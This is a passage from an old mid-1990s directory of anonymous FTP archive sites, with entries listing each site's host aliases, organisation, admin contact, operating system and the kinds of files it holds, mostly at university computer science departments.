jasmine.cnidr.org +Admin : +Organ : CNIDR +Server : +System : NeXTStep (NeXT 1.0) +URL : ftp://ftp.cnidr.org/ +Comment: directory: /pub/NIDR.tools +Files : CNIDR info; K12; Mud; NIDR tools; NREN50; WAIS sources (freeWAIS) + +Site : ftp.cnit.nsk.su +Country: Russia +GMT : +6 +Date : 24-Jan-95 +Source : mbo@ccphys.nsu.nsk.su (Konstantin Yu. Boyandin) +Alias : orasrv.cnit.nsk.su +Admin : root@ftp.cnit.nsk.su +Organ : Novosibirsk State University, Novosibirsk +Server : +System : Unix +URL : ftp://ftp/cnit.nsk.su/ +Comment: files from ccphys.nsu.nsk.su +Files : archiver; ccphys.nsu.nsk.su (AD&D; adventure games; D&D; DDL; games; + MUD; RPG; SSG; strategic/economic/role-playing engines and + description languages to develop several types of software; + wargames); CD; dataproc; ftpsites (partial mirrors of elvis.msk.su, + ftp.cert.org, ftp.csn.net, ftp.demos.su, ftp.funet.fi, ftp.kiae.su, + ftp.ncsa.uiuc.edu, ftp.novell.de, ftp.ripe.net, ftp.uga.edu, + garbo.uwasa.fi); games; GUI; Internet; MS-DOS; + OS/2; RunNet; SCO; security; Sound; Textdoc; Unixware; Windows; + WWW; X11 + +Site : ftp.cnr.it +Country: Italy +GMT : +1 +Date : 15-Dec-94 +Source : MODERXX.ZIP +Alias : cnuce_arch.cnr.it, cnuce-arch.cnr.it +Admin : ftpadmin@cnuce_arch.cnr.it (Paolo Zini) +Organ : Consiglio Nazionale delle Ricerce (CNR, National Research Council), + Pisa, CNUCE +Server : gopher://gopher.cnuce.cnr.it/ +System : Unix (SunOS, Sparc Server 10) +URL : ftp://cnuce_arch.cnr.it/ +Comment: +Files : bitmovie; delaunay; EC Info; ftpd; GNU; ILC; Info-Mac (mirror of + sumex-aim.stanford.edu); Lotosnews; Linux (sunsite.unc.edu); micros; + MS-DOS Garbo mirror: /pub/msdos/garbo.uwasa.fi); OS/2; POP; + tp_cnuce; X + +Site : ftp.cns.vt.edu +Country: USA +GMT : -5 +Date : 04-Jan-94 +Source : Perry.Rovers@kub.nl +Alias : morse.cns.vt.edu +Admin : +Organ : Virginia Technological Institute (VATECH), Blacksburgh, Virginia, + CNS +Server : +System : Unix (Ultrix 4.1) +URL : ftp://ftp.cns.vt.edu/ +Comment: +Files : dnet (local); docs (NUPOP, RFC); InterText; netscape (Mac, Windows) + +Site : ftp.coe.montana.edu +Country: USA +GMT : -7 +Date : 30-Oct-94 +Source : Netrek FAQ; Perry.Rovers@kub.nl +Alias : pdq.coe.montana.edu +Admin : +Organ : , , Montana +Server : +System : Unix (Ultrix 4.1) +URL : ftp://ftp.coe.montana.edu/ +Comment: directories: /pub/archives /pub/mirrors [check] +Files : fractals; MUD related files; WWW + +Site : ftp.coe.ufrj.br +Country: Brazil +GMT : -3 +Date : 15-Dec-94 +Source : jonny@coe.ufrj.edu (Joao Carlos Mendes Luis) +Alias : alpha.coe.ufrj.br +Admin : postmaster@coe.ufrj.br +Organ : Universidade Federal do Rio de Janeiro (Rio Janeiro State + University), Rio de Janeiro, Postgraduate EE dept. (COE) +Server : +System : Unix +URL : ftp://ftp.coe.ufrj.br/ +Comment: transfers are logged; max. 2 users +Files : Acmg; docs; jonny (KillDoom, Pentium test (p5test)); Linux; MBONE; + meteosat; MS-DOS; network; Novell; pictures; Sun; teleinfo; urantia; + vendor; Windows + +Site : ftp.cognet.ucla.edu +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : +Alias : alamut.cognet.ucla.edu +Admin : +Organ : University of California - Los Angeles, Los Angeles, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.cognet.ucla.edu/ +Comment: +Files : alexis; alife; biology; cm++; Darwin; psychology; references; + THnet + +Site : ftp.coli.uni-sb.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : coli-gate.coli.uni-sb.de, coli.uni-sb.de +Admin : ftpadm@coli.uni-sb.de, amiga@coli.uni-sb.de, atari@coli.uni-sb.de +Organ : Universitaet des Saarlandes (University of the Saarland), + Saarbruecken +Server : +System : +URL : ftp://ftp.coli.uni-sb.de/ +Comment: +Files : Amiga; Atari; Toy files + +Site : ftp.colorado.edu +Country: USA +GMT : -7 +Date : 11-Jan-94 +Source : spot.colorado.edu +Alias : +Admin : +Organ : University of Colorado - Boulder, Boulder, Colorado +Server : +System : +URL : ftp://ftp.colorado.edu/ +Comment: successor of spot.colorado.edu +Files : netinfo; RFCs + +Site : ftp.comlab.ox.ac.uk +Country: UK +GMT : 0 +Date : 09-Feb-94 +Source : Jonathan.Bowen@comlab.ox.ac.uk; old ftp-list +Alias : +Admin : archive-management@comlab.ox.ac.uk +Organ : Oxford University, Oxford, Computing Laboratory (OUCL) +Server : archive-server@comlab.ox.ac.uk, with subject or text line of "help" +System : Unix (SunOS) +URL : ftp://ftp.comlab.ox.ac.uk/ +Comment: +Files : CSP; documents; microprocessor cards; music research; OBJ forum; + Occam; packages; programs; Transputer; Z forum + +Site : ftp.compaq.com +Country: USA +GMT : -6 +Date : 30-Oct-94 +Source : compaq.com; Perry.Rovers@kub.nl +Alias : dorr.compaq.com +Admin : support@compaq.com +Organ : Compaq Computer Corp. +Server : www.compaq.com +System : Unix +URL : ftp://ftp.compaq.com/ +Comment: most files from compaq.com were moved to this site +Files : 386BSD; SCO; softpaq + +Site : ftp.computone.com +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : belal@sco.com (Bela Lubkin> {posting} +Alias : cton.computone.com +Admin : +Organ : Computone Corp. +Server : +System : Unix +URL : ftp://ftp.computone.com/ +Comment: +Files : Computone BBS; Computone drivers, product info, release notes; + i2devkit; other: iserver, lpd, lynx, netcom, vic; v4devkit + +Site : ftp.concert.net +Country: USA +GMT : -5 +Date : 22-May-94 +Source : old ftp-list +Alias : dlist@ora.com; ncnoc.concert.net +Admin : +Organ : COmmunications for North Carolina Education, Research and + Technology (Concert Net), , North Carolina +Server : +System : Unix +URL : ftp://ftp.concert.net/ +Comment: +Files : local network (ConcertNet) info + +Site : ftp.conjelco.com +Country: USA +GMT : -5 +Date : 04-Nov-94 +Source : weinstock@conjelco.com (Charles B. Weinstock) +Alias : conjelco.com +Admin : weinstock@conjelco.com (Charles B. Weinstock) +Organ : ConJelCo general offices, Pittsburgh, Pennsylvania +Server : WWW: http://www.conjelco.com +System : Unix +URL : ftp://ftp.conjelco.com/ +Comment: No restrictions +Files : Book catalog, demos of software and information related to gambling + +Site : ftp.cosy.sbg.ac.at +Country: Austria +GMT : +1 +Date : 19-Feb-95 +Source : tomsich@aol.com (Philippe R. Tomsich); old ftp-list +Alias : dino.cosy.sbg.ac.at +Admin : ftp-adm@cosy.sbg.ac.at +Organ : University of Salzburg, Salzburg +Server : +System : Unix +URL : ftp://ftp.cosy.sbg.ac.at/ +Comment: all file transfers are logged; US people: try sites closer first +Files : Docs: OSI, RFC; e-journals; GNUstep; Mirrors: 386bsd, GNU, + Inter-Drafts, X11, X386; people; pictures; sounds; trek; workgroups + +Site : ftp.cp.tn.tudelft.nl +Country: Netherlands +GMT : +1 +Date : 19-Feb-95 +Source : admin; nl-ftp as posted to nlnet.announce +Alias : orion.cp.tn.tudelft.nl +Admin : ftp@cp.tn.tudelft.nl +Organ : Technische Universiteit Delft (Delft University of Technology), + Delft, Physics dept., FI-CP +Server : +System : Unix +URL : ftp://ftp.cp.tn.tudelft.nl/ +Comment: valid domain in e-mail address is mandatory; 33Mb; user 'ftp' + possible instead of 'anonymous'; Pratchett archive has been removed + and is now available from ftp.pavilion.co.uk (/pub/pratchett, also + for uploads), ftp.britain.eu.net (/pub/misc/pratchett), + rincewind.mech.virginia.edu (/pub/pratchett), theory.lcs.mit.edu + (/pub/pratchett) and death.socs.uts.edu.au (/Mirror/pratchett); + Play by Mail archive moved to ftp.pbm.com (mirrored on + ftp.egr.sri.com and ftp.funet.fi) +Files : CP info and papers; MUDders + +Site : ftp.cps.cmich.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : +Alias : dial11.cps.cmich.edu +Admin : +Organ : +Server : +System : Unix +URL : ftp://ftp.cps.cmich.edu/ +Comment: +Files : Linux (Bogus release: mirror from phys-pc61.med.unc.edu); Overnet + +Site : ftp.cpsc.ucalgary.ca +Country: Canada +GMT : -7 +Date : 10-Sep-94 +Source : old ftp-list +Alias : fsd.cpsc.ucalgary.ca +Admin : fridman@cpsc.ucalgary.ca +Organ : University of Calgary, Calgary, CS dept. +Server : +System : Unix +URL : ftp://ftp.cpsc.ucalgary.ca/ +Comment: successor of cpsc.ucalgary.ca, spuds.cpsc.ucalgary.ca; all activity + is logged; file compression and directory tarring on the fly; + new structure, read NEW_STRUCTURE [!] +Files : aritmethic coding; astels; blob; brg; charity; CSCW bibliography; + Gesture paper; Gnosis; GNU; Graduate Handbook; handwriting + recognition; images; KAW94; KSI; networking; papers; projects; RFCs; + SCCS; Sisyphus; tech-reports; Text Compression Corpus; The Reactive + Keyboard; WWW; Xinterface + +Site : ftp.cpsr.org +Country: USA +GMT : -8 +Date : 22-May-94 +Source : Computer Underground Digest +Alias : snyside.sunnyside.com, cpsr.org +Admin : +Organ : Computer Professionals for Social Responsibility +Server : +System : Unix +URL : ftp://ftp.cpsr.org/ +Comment: gopher.cpsr.org, wais.cpsr.org +Files : cong-reform; cpsr; CuD archives; cypherpunks; netinfo; nii; + njohnson; nl-kr; sunnyside; taxpayer_assets + +Site : ftp.cray.com +Country: USA +GMT : -6 +Date : 25-Sep-94 +Source : jwg@cray.com (John Gregory) {posting} +Alias : +Admin : security@cray.com +Organ : Cray Research, Eagan, Minnesota, Marketing Division, + CCN Data Security +Server : +System : Unix +URL : ftp://ftp.cray.com/ +Comment: sessions are logged; not available from 0800-1000 CDT on the + fourth Saturday of each month +Files : craysoft, cray: announcements, applications, articles, artwork, + product info; FAQs: linear and non-linear programming; + comp.lang.verilog; misc.fitness; nqe; nqs + +Site : ftp.creaf.com +Country: USA +GMT : -8 +Date : 12-Aug-94 +Source : mikej@metronet.com {posting} +Alias : creative.creaf.com, creaf.com +Admin : ftpadmin@creative.creaf.com +Organ : Creative Labs, Santa Clara, California +Server : WWW, gopher and WAIS +System : Unix +URL : ftp://ftp.creaf.com/ +Comment: max. 8 users +Files : SoundBlaster related files (patches, pressreleases, utils for all + platforms) + +Site : ftp.crihan.fr +Country: France +GMT : +1 +Date : 22-May-94 +Source : ftp-france-liste +Alias : felix.crihan.fr +Admin : crihan-tech@crihan.fr +Organ : CRIHAN SYRHANO Regional Network +Server : +System : Unix +URL : ftp://ftp.crihan.fr/ +Comment: transfers are logged +Files : biology; CRIHAN; CRU; contrib; docs; mirrors (IBM PC, Mac); + publications; research; SYRHANO; security; Unix + +Site : ftp.crim.ca +Country: Canada +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : clouso.crim.ca +Admin : +Organ : CRIM/RISQ +Server : +System : Unix +URL : ftp://ftp.crim.ca/ +Comment: server can tar and compress +Files : abl; apar; ASUQ; Athena; CA domain templates; CAnet; CRIQ; DEC; + docs; f2c; formation; GNU; grep; guitar; HQI; IETF; igloo; infosys; + Internet (Internet Tour); libresolve; lude-crim; Mac; meteo; MuTeX; + NetBSD.FAQ; netman; network_tools; news; petri; protocols; RFCs; + RISQnet related documents, mail lists, reports and announcements; + rrn; sendmail; Sun pathces, source; Sun-spots; tcpview; TeXTools; + Unix Review; Unix Today; Unix World; Usenet; X11 + +Site : ftp.crs4.it +Country: Italy +GMT : +1 +Date : 29-Sep-94 +Source : luigi@guinness.crs4.it (Luigi Filippini) {posting} +Alias : berlioz.crs4.it +Admin : ftp@crs4.it +Organ : Centro di Ricerca, Sviluppo e Studi Superiori (Centre for Advanced + Studies, Research and Development) Sardegna, Sardinia +Server : www.crs4.it +System : Unix +URL : ftp://ftp.crs4.it/ +Comment: dedicated to the MPEG compression standard; read 00README for info +Files : mirrors [?]; MPEG files, programs, utilities; motecc; systems [?] + +Site : ftp.cs.arizona.edu +Country: USA +GMT : -7 +Date : 10-Sep-94 +Source : sgi/anonftp/list; old ftp-list +Alias : cs.arizona.edu, optima.cs.arizona.edu +Admin : lab@cs.arizona.edu +Organ : University of Arizona, Tucson, Arizona, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.arizona.edu/ +Comment: access is allowed all day; transfers are logged; server supports + automatic compression, decompression and tarring +Files : agrep; anrep; caslog; dept. info; fcrctech; Four Russians; glimpse + (GLobal IMPlicit SEarch, super-grep); http; Icon; janus; japan; llp; + reports; SBprolog; scorpion; sigmodpods94; Snobol4; SR; Tempis; tsql + (multical); vs; xkernel communications kernel + +Site : ftp.cs.berkeley.edu +Country: USA +GMT : -8 +Date : 11-Feb-94 +Source : Perry.Rovers@kub.nl +Alias : mammoth.cs.berkeley.edu +Admin : +Organ : University of California - Berkeley, Berkeley, California, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.berkeley.edu/ +Comment: directory: /ucb; Tcl archive mirrored around the world +Files : 4BSD Unix; Tcl archive and Tcl/Tk distribution; UCB sendmail + +Site : ftp.cs.bilkent.edu.tr +Country: Turkey +GMT : +2 +Date : 17-Jul-94 +Source : ftp.bilkent.edu.tr +Alias : gordion.cs.bilkent.edu.tr +Admin : ko@cs.bilkent.edu.tr (Kemal Oflazer) +Organ : Bilkent University, Ankara, CS dept. +Server : gopher: gopher.cs.bilkent.edu.tr; WWW: www.cs.bilkent.edu.tr; + FSP: ftp.cs.bilkent.edu.tr +System : Unix +URL : ftp://ftp.cs.bilkent.edu.tr/ +Comment: server can tar, gzip, zip and compress; transfers are logged +Files : graphics programs (Motif, Ray, Render, VolumeRendering); + Machine_Learning; tech-reports; Turklang + +Site : ftp.cs.brown.edu +Country: USA +GMT : -5 +Date : 22-Sep-94 +Source : admin; old ftp-list +Alias : cs.brown.edu +Admin : redsoft@cs.brown.edu +Organ : Brown University, Providence, Rhode Island, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.brown.edu/ +Comment: read COPYING_POLICY; server supports on-line (de)compress and tar +Files : alt.quotations; Brown CS Field and Thread packages; ccel; + comp.lang.postscript; comp.robotics; comp.sources.postscript; eim; + fnord; graphics; graphtext; hyperbole; iclp94; optbook; postscript; + ppcp93; splitup; tech-reports; XMX + +Site : ftp.cs.buffalo.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : talos.cs.buffalo.edu +Admin : +Organ : State University of New York - Buffalo, Buffalo, New York +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.cs.buffalo.edu/ +Comment: +Files : 386BSD; caving; chorus-reports; Emacs; GNU; graphics; ham-radio; + Linux; Mac; Mule; PC; rec.radio.amateur; RFCs; sigart; sneps; + Solaris 2.0 docs; sound files; TCP; tech-reports; worm; WWW + +Site : ftp.cs.bham.ac.uk +Country: UK +GMT : 0 +Date : 06-Jan-94 +Source : old ftp-list +Alias : mother.cs.bham.ac.uk +Admin : hostmaster@cs.bham.ac.uk +Organ : University of Birmingham, Birmingham, School of Computer Science +Server : +System : Unix +URL : ftp://ftp.cs.bham.ac.uk/ +Comment: Open 24 hours; max. 10 users +Files : Usenet archives: comp.lang.pop & sci.cognitive; local research + papers and software + +Site : ftp.cs.chalmers.se +Country: Sweden +GMT : +1 +Date : 15-Dec-94 +Source : Acorn FTP list as posted to news.answers +Alias : rowlf.cs.chalmers.se, waldorf.cs.chalmers.se +Admin : +Organ : Chalmers University of Technology, Gothenburg, CS dept. +Server : +System : Unix (System V Release 4.0)) +URL : ftp://ftp.cs.chalmers.se/ +Comment: pub/misc/riscos [check! provers and README] +Files : ADA; clics; cs-reports; haskell; MPEG and other Archimedes software; + numerical analysis; provers [!?, not me]; WWW + +Site : ftp.cs.city.ac.uk +Country: UK +GMT : 0 +Date : 12-Jan-95 +Source : njw@cs.city.ac.uk (Nick Williams) {posting} +Alias : +Admin : +Organ : City University, London, CS dept., Systems Architecture Research + Centre +Server : +System : +URL : ftp://ftp.cs.city.ac.uk/ +Comment: +Files : Project Galactic Guide (PGG) material: alt.galactic-guide archive, + FAQ, Hitch Hiker's Guide stuff (mirror of vela.acs.oakland.edu) + +Site : ftp.cs.cmu.edu +Country: USA +GMT : -5 +Date : 29-Oct-94 +Source : admin +Alias : mulberry.srv.cs.cmu.edu +Admin : AI.Repository@glinda.oz.cs.cmu.edu, ai@cs.cmu.edu [?] + ai+contrib@cs.cmu.edu (contributions) +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, CS dept. +Server : WWW: www.cs.cmu.edu:8001/Web/Groups/AI/html/repository.html; + AFS: afs/cs.cmu.edu/project/ai-repository/ai/; + mail: ai+query@cs.cmu.edu with help as subject for instructions +System : Unix +URL : ftp://ftp.cs.cmu.edu/ +Comment: filenames cannot begin with "/.."; user anon logged in; AI: + /user/ai; uploads to /user/ai/new, mail to ai+contrib@cs.cmu.edu +Files : CMU AI Repository: areas (software packages: Intelligent Agents + Architectures, Artifical Life and Complex Adaptive systems, + blackboard architectures, cellular automata, classical AI programs, + code from AI textbooks, computer Vision, Constraint Processing, + Distributed AI, Discovery and Data Mining, docs, educational tools, + Expert systems/Production Systems, FAQ, Fuzzy Logic, Game Playing, + Genetic Algoritms/Programming/Evolutionary programming, ICTO free + software, Knowlegde Representation/Semantic Nets/Frames, Machine + Learning, music, Neural Networks/Connectionist Systems/Neural + Systems/Natural Language Processing (Natural Language: generation, + machine translation, morphology, parsing, understanding), + Planning/Agent testbeds, Planning/Plan Recognition, Reasoning + (analogical, case based, defeasible legal, medical, probabilistic, + qualitative, temporal/Theorem Proving/Automated Reasoning/Truth + maintenance, robotics, Search, Simulated Annealing, Speech + Recognition and Synthesis), events (calendar of conferences, + events), lang (programming language), pubs (publications: books, + mail/news archives, tech-reports etc.), utils (compression and + archiving utilities) + +Site : ftp.cs.colorado.edu +Country: USA +GMT : -7 +Date : 10-Sep-94 +Source : old ftp-list +Alias : bruno.cs.colorado.edu, mroe.cs.colorado.edu +Admin : trouble@cs.colorado.edu +Organ : University of Colorado - Boulder, Boulder, Colorado, CS dept. +Server : +System : Unix (Sun) +URL : ftp://ftp.cs.colorado.edu/ +Comment: also available through WAIS; all transfers are logged +Files : cs; docs; energy shootout; Esperanto; faces; Ghostscript; HPSC; + Netfind sources; standards; tech-reports; time-series; Texas92; Vis + +Site : ftp.cs.columbia.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : lore.cs.columbia.edu +Admin : ftp@ftp.cs.columbia.edu +Organ : Columbia University, New York, New York, CS dept., Central Research + Facilities +Server : +System : Unix +URL : ftp://ftp.cs.columbia.edu/ +Comment: one of the successors of cs.columbia.edu, columbia.edu and + ftp.columbia.edu; + RFC822 compatible e-mailaddress is mandatory for password; + transfers are logged; ID and hostname are logged for statistical + purposes; uploading to /incoming for temporary periods permitted; + max. 20 users +Files : acis-alliance; acl-l; aclofficial-l; albinali; amb; amd; archives + [?]; arpa; baz; cacnet; cat-reports; chimera; class; german; hlfsd; + html; info; IP; Israel; JPEG; listserv; Mach; mdarch; medimagex; + nest network simulation testbed; nlp; quadcharts; pds; plana; porn; + prosys; psai; psl; reports; robotics; Tcl/Tk (archives/tcl from + ftp.cs.berkeley.edu); vision; X11R5; X11R6; xmove + +Site : ftp.cs.cornell.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : old ftp-list +Alias : simon.cs.cornell.edu, ramses.cs.cornell.edu +Admin : adm@cs.cornell.edu +Organ : Cornell University, Ithaca, New York, CS Dept. +Server : +System : Unix +URL : ftp://ftp.cs.cornell.edu/ +Comment: directory: /pub/smart; complains when network address cannot be + mapped into valid hostname, access will be unavailable soon if + it isn't fixed.; see INDEX.ftp.cs.cornell.edu +Files : branch; cmlin; courses; Irish emigrants; ISIS; lcpc; lots of user + public directories; multimedia; nuprl; perot; simlab; smart; + tech-reports; vision; vogels + +Site : ftp.cs.cuhk.hk +Country: Hong Kong +GMT : +8 +Date : 20-May-94 +Source : MODERxx.ZIP +Alias : dec37.cs.cuhk.hk +Admin : ftp@cs.cuhk.hk +Organ : Chinese University of Hong Kong, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.cuhk.hk/ +Comment: available through www.cuhk.hk: University info, Housing Design + Project, CSC publications, photos of the campus and Hong Kong; + compress and tar on the fly +Files : cica; EC; FreeBSD; GNU; graphics; Linux (sunsite.unc.edu); MS-DOS + (EmTeX); neuro; SimTel Software Repository; Slackware; SLS; TCL; + tech-reports; X11R6; X-contrib + +Site : ftp.cs.curtin.edu.au +Country: Australia +GMT : +8 +Date : 25-Jan-94 +Source : sgi/anonftp/list +Alias : marsh.cs.curtin.edu.au +Admin : +Organ : Curtin University +Server : +System : Unix +URL : ftp://ftp.cs.curtin.edu.au/ +Comment: +Files : architec; docs; EDI; GIS; graphics; internet; iprs; learning; math + docs; MIDI; netman; nsar; raytrace; rosin; Sun-dist; thesis; travt; + units; web docs + +Site : ftp.cs.dal.ca +Country: Canada +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : cs.dal.ca, tusket.cs.dal.ca +Admin : root@cs.dal.ca +Organ : +Server : +System : Unix +URL : ftp://ftp.cs.dal.ca/ +Comment: +Files : cfn; cla; clip; comp.archives archive in /comp.archives (archives of + alt.fan.monty-python among others); csuite; doslynx; field; freenet; + giles; htmlasst; Mac; PC WWW; ug; uniforum + +Site : ftp.cs.few.eur.nl +Country: Netherlands +GMT : +1 +Date : 26-Aug-94 +Source : Perry.Rovers@kub.nl [posting] +Alias : kaa.cs.few.eur.nl +Admin : sysva@cs.few.eur.nl +Organ : Erasmus Universiteit Rotterdam (Erasmus University Rotterdam), + Rotterdam, Faculty of Economics, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.few.eur.nl/ +Comment: transfers are logged; www browsable +Files : cs; docs; GNU; network (samba); OS (Net2 BSD); PC (Cirrus, PC NFS, + Perl, protect); pk; Sun; tech-reports; Unix; WWW + +Site : ftp.cs.flinders.oz.au +Country: Australia +GMT : +10 +Date : 18-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : adam.cs.flinders.oz.au +Admin : +Organ : Flinders University +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.cs.flinders.oz.au/ +Comment: also ftp.cs.flinders.edu.au +Files : khoros; labtam; Linux; perl4; psroff; rdist; resolver; sun-patches; + Techmail; TeX; TripWire; wavelets; xtr + +Site : ftp.cs.kuleuven.ac.be +Country: Belgium +GMT : +1 +Date : 19-Oct-1994 +Source : Dirk.Craeynest@cs.kuleuven.ac.be +Alias : godfather.cs.kuleuven.ac.be +Admin : ftp@cs.kuleuven.ac.be +Organ : Katholieke Universiteit Leuven, Leuven, CS dept. +Server : mail-server@cs.kuleuven.ac.be; send message with empty subject + and as body "begin help end" (each word on a new line); + www.cs.kuleuven.ac.be +System : Unix (SunOS 4.1.3, Sun4/75) +URL : ftp://ftp.cs.kuleuven.ac.be/ +Comment: limited disk space (donations welcome ;-) ); max. 10 users; + special access features: see /README +Files : Ada-Belgium ftp archive with a.o. Public Ada Library on CD-ROM and + GnuAda 9X compiler mirror; Compulog Network ftp service; EROOS; + functional-prgm; impulse; KULnet; logic-prgm; TeX (LaTeX); Unix + +Site : ftp.cs.kun.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Acorn FTP list as posted to news.answers +Alias : zeus.cs.kun.nl +Admin : postmaster@cs.kun.nl +Organ : Katholieke Universiteit Nijmegen (University of Nijmegen), Nijmegen, + CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.kun.nl/ +Comment: /pub/ArMaTuReS; max. 4 users +Files : ArMaTuReS (TeX); clean; cip-s; compmath.{alcom,found,numanal}; csi; + eag; GLASS; LDB; rail; softweng.{functlang,infsyst,progrmeth}; + school; technapp.{exp,theor}; ToalTeX; TeX-bnf; Z80-dis + +Site : ftp.cs.mcgill.ca +Country: Canada +GMT : -5 +Date : 29-Nov-94 +Source : k3ras@charney.gsfc.nasa.gov (Ray Sears) +Alias : marge.cs.mcgill.ca +Admin : help@cs.mcgill.ca +Organ : McGill University, Montreal, Quebec, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.mcgill.ca/ +Comment: uploads to /incoming, please leave a note +Files : AIX; Aarchie; docs; images; labs; Linux (kernel, Slackware); + mail-list; MS-DOS; Netrek (COW and COW-lite); news; NeXT; PC Unix; + SGI; Unix; X + +Site : ftp.cs.nott.ac.uk +Country: UK +GMT : 0 +Date : 30-Oct-94 +Source : Perry.Rovers@kub.nl +Alias : marian.cs.nott.ac.uk, marian.cs.nottingham.ac.uk +Admin : support@cs.nott.ac.uk +Organ : University of Nottingham, Nottingham, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.nott.ac.uk/ +Comment: incoming is spelled incomming.. +Files : anon; big-internet; BSD patches; car; ceilidh; CERT; cnews; csound; + dns; ep; fax; fp; gattbl; GNU; internet-drafts; isode; jips; KA9Q; + Linux; lists; mail-gateways; mbone; mh; mig; MIME; misc; mmdf; NCSA; + ndtl; network; nntp; nott-ac-uk; nrs; ntp; packet drivers; papers; + peb; pineapple; PPP; reno; RFCs; sat-images; smds; Sun: flash, + hotline, misc, nfs, papers, patches, src; usenet; X11; X11R6; yy + +Site : ftp.cs.odu.edu +Country: USA +GMT : -5 +Date : 24-Aug-94 +Source : old ftp-list +Alias : xanth.cs.odu.edu +Admin : root@cs.odu.edu +Organ : Old Dominion University, Norfolk, Virginia, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.odu.edu/ +Comment: +Files : ACM; cadence; caw; comp.sources: games, misc, x, unix; dansk; gdead; + pgp; pothen; star-trek; systems; zeil + +Site : ftp.cs.pdx.edu +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : johnj@ee.pdx.edu +Alias : jove.cs.pdx.edu +Admin : ftp-admin@cs.pdx.edu +Organ : Portland State University, Portland, Oregon, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.pdx.edu/ +Comment: max. 30 users; successor of potemkin.cs.pdx.edu +Files : aber (MUD); blackadder; csqr; Dylan; Elvis; faculty; flamingos; frp; + games; gks; GNU; Ileaf; League for programming freedom; LPMUD; + mexpress; music; NeXT; Parker Lewis archive; people; Perl; politics; + Pratchett; RFCs; Sun-patches; utek; yama; zmodem + +Site : ftp.cs.princeton.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : sgi/anonftp/list; Perry.Rovers@kub.nl +Alias : csservices.princeton.edu [?] +Admin : +Organ : Princeton University, , , CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.princeton.edu/ +Comment: noweb has moved; several user pub directories +Files : algoritms; duel; eurorad; formfactor; graphics; integration; Mac; + mdd-reports; MS-DOS; network; noncom; notech; OPT; OSF; pldi95; + PostScript; reports; spim; spledit; subsurface; toplas; wavrad + +Site : ftp.cs.purdue.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : mordred.cs.purdue.edu; sgi/anonftp/list +Alias : arthur.cs.purdue.edu, cs.purdue.edu +Admin : postmaster@cs.purdue.edu +Organ : Purdue University, West-Lafayette, Indiana, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.purdue.edu/ +Comment: X11R5 Sources/fixes from mordred.cs.purdue.edu; transfers are logged +Files : avr; bouma; Chinese: cxterm (Chinese Xterm), fonts; fudos; grad-info; + hammer; mav; mhc; nuspl; pcert; pellpack; Purdue Tech Reports; raid; + RCS; serc; spaf; usamap; X11 + +Site : ftp.cs.rmit.oz.au +Country: Australia +GMT : +10 +Date : 15-Dec-94 +Source : lm@rmit.edu.au (Luke Mewburn) +Alias : +Admin : ftpadmin@cs.rmit.edu.au +Organ : Royal Melbourne Institute of Technology (RMIT), Melbourne, CS dept. +Server : +System : +URL : ftp://ftp.cs.rmit.oz.au/ +Comment: this site mirrors various TeX sites; transfers are logged; successor + of yallara.cs.rmit.edu.au; Etext archive maintained by + adam@eden.apana.org.au (Adam Frey) +Files : Etext; TeX + +Site : ftp.cs.rochester.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : George Ferguson; old ftp-list +Alias : cayuga.cs.rochester.edu, cs.rochester.edu +Admin : root@cayuga.cs.rochester.edu +Organ : University of Rochester, Rochester, New York, CS dept. +Server : +System : Unix (SunOS 4.1.3, Sun3) +URL : ftp://ftp.cs.rochester.edu/ +Comment: Also available via WWW: URL http://www.cs.rochester.edu; + the alias and OS are subject to change +Files : comp.std.lisp archive; knowledge tools; Lisp standards; Mint; Papers + and tech reports; rao; rcs; rec.woodworking; simulator; xarchie + +Site : ftp.cs.rose-hulman.edu +Country: USA +GMT : +Date : 15-Dec-94 +Source : old ftp-list +Alias : babs.cs.rose-hulman.edu +Admin : +Organ : Rose-Hulman, , , CS dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.cs.rose-hulman.edu/ +Comment: all transactions are logged, read README +Files : CS dept info; graphics; IFYCSEM; Japanese; NeXtrad; sigcse95 + +Site : ftp.cs.rug.nl +Country: Netherlands +GMT : +1 +Source : admin; Perry.Rovers@kub.nl +Alias : rug19.cs.rug.nl +Admin : harm@cs.rug.nl +Organ : Rijks Universiteit Groningen (University of Groningen), + Groningen, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.rug.nl/ +Comment: max. 5 users; pub (in-house development), dist + (redistributed files, limited) +Files : Boyer-Moore proof programs; disk repair utils; graphics apps; + liealg; Molecular Dynamics; parallel processing; X11R5 (xeasy, + X11 data display program) + +Site : ftp.cs.ruu.nl +Country: Netherlands +GMT : +1 +Date : 10-Sep-94 +Source : MIDI FTP List as posted to news.answers; old ftp-list +Alias : sol.cs.ruu.nl, news.cs.ruu.nl +Admin : archivist@cs.ruu.nl +Organ : Rijks 